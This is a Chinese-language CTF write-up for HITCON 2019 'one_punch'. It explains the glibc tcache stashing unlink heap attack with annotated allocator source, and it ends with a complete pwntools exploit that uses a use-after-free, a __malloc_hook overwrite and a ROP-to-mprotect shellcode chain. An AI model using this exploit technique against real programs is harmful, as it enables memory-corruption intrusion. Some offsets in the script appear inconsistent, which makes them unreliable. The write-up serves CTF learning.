hitcon_ctf_2019_one_punch
hitcon_ctf_2019_one_punch
在2.29及以后得版本中对unsorded bin的进行了双向链表检查,故unsorted bin attack就不可以再用了,不过tcache stashing unlink attack 可以达到同样的效果
利用原理:就是我们从smallbin中取出chunk时会检查当前smallbin中还有chunk并且tcache bin中还有空余的位置就会把剩余chunk链入到tcache bin中,在链入的过程并没有进行双向链表检查(还是因为没有进行双向链表检查造成的,跟unsorted bin attack差不多就是触发前提有所不同)
从上面可以看出首先需要tcache从smallbin中链入一个chunk,这个怎么做?
如何跳过tcache bin从smallbin取chunk?
使用calloc(它不会从tcache bin里取堆块)
适用版本:目前适用于所有带tcache的glibc版本(2.26–2.36)
利用条件
1、能使用calloc分配堆块
2、有溢出或uaf
漏洞源码
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
//victim就是要脱链的堆块,也就是small bin里的最后一个
//这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
//如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
bin->bk = bck;//将victim脱链
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
{
mchunkptr tc_victim;
while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
&& (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
{
if (tc_victim != 0)
{
bck = tc_victim->bk;//在这里控制bk的值
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;//将tc_victim从small bin中脱链
bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
程序分析
保护全开
还有一个沙箱保护只允许使用上面的函数所以使用orw打
漏洞利用
有一个uaf漏洞
还有一个函数可以使用malloc,只不过需要先用tcache stashing unlink attack去修改一个地址的数大于6,利用这个函数主要是因为可以去打malloc_hook劫持执行流
利用过程
1、利用uaf和show函数泄露libc和堆地址
泄露libc地址就是先把tcache填满让chunk进入unsorted bin中在打印出来,堆地址就直接打印一个在tcache中chunk就行
2、就是触发tcache stashing unlink attack修改地址
这一部分就是注意堆的布局就行,还有就是利用切割unsorted中的chunk、来得到自己想要的chunk
注意:smallbin中要有两个,tcache要填有6个如下
成功后就是
3、接下来就是利用uaf打一个malloc_hook去执行add rsp .xxx ret,因为calloc之前有有向栈中输入大量数据
因为有uaf就比较容易利用
随便自己找一个tcache链然后用edit修改一下fd指针为malloc然后用malloc申请的第二个就是malloc_hook
4、按理说触发malloc_hook用calloc和malloc都行,但我们还要去利用add rsp 去执行rop那只能用calloc因为栈离得近
exp
from tools import *
p,e,libc=load("b")
context.log_level='debug'
def add(index,size,content):
p.sendlineafter("> ",'1')
p.sendlineafter("idx: ",str(index))
p.sendlineafter("hero name: ",content*size)
def delete(index):
p.sendlineafter("> ",str(4))
p.sendlineafter("idx: ",str(index))
def edit(index,content):
p.sendlineafter("> ",str(2))
p.sendlineafter("idx: ",str(index))
p.sendlineafter("hero name: ",content)
def show(index):
p.sendlineafter("> ",str(3))
p.sendlineafter("idx: ",str(index))
def backdoor(content):
p.sendlineafter("> ",str(0xC388))
p.send(content)
add(2,0x400,'a')
delete(2)
for i in range(6):
add(0,0x400,'a')
delete(0)
add(1,0x400,'b')
for i in range(6):
add(0,0x100,'1')
delete(0)
delete(1)
show(1)
p.recvuntil('hero name: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4ca0
log_addr('libc_base')
show(0)
p.recvuntil('hero name: ')
heap=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4ca0
log_addr('heap')
fd=heap+0x1e4740
bk=heap+0x1e25b0
add_rsp_ret=libc_base+0x000000000008cfd6 #0x48
malloc_hook=libc_base+libc.symbols['__malloc_hook']
mprotect_addr=libc_base+0x117590
#now have one unsorted chunk size is 0x411
add(0,0x1,shellcode_store('orw_64').ljust(0x2f0,b'\x00')) #split from unsorted 0x300 remainder size is 0x110
add(0,0x300,'d') #puts remainder into samllbin
add(1,0x400,'e')
add(0,0x300,'f') #prevent merging chunk
delete(1)
add(0,0x2f0,'s')
add(0,0x210,'h') #smellbin
delete(0)
add(2,0x210,'i')
delete(2) #tcachebin 0x220
payload=b'o'*0x2f0+p64(0)+p64(0x111)
payload+=p64(fd)+p64(bk-0x10-5)
edit(1,payload)
add(0,0x100,'a')# in order to enter the backdoor
edit(2,p64(malloc_hook))
backdoor(shellcode_store('orw_64'))
backdoor(p64(add_rsp_ret))
pop_rdi=libc_base+0x0000000000026542
pop_rsi=libc_base+0x0000000000026f9e
pop_rdx=libc_base+0x000000000012bda6
rop=p64(pop_rdi)+p64((heap>>12)*0x1000+0x1e3000)
rop+=p64(pop_rsi)+p64(0x4000)
rop+=p64(pop_rdx)+p64(0x7)
rop+=p64(mprotect_addr)
rop+=p64(heap+0x1e5b10)
rop+=p64(0xdeadbeef)*0x20
debug(p,'pie',0x139C,0x15B3,0x1560,0x14D6,0x15E3)
add(0,1,rop)
p.interactive()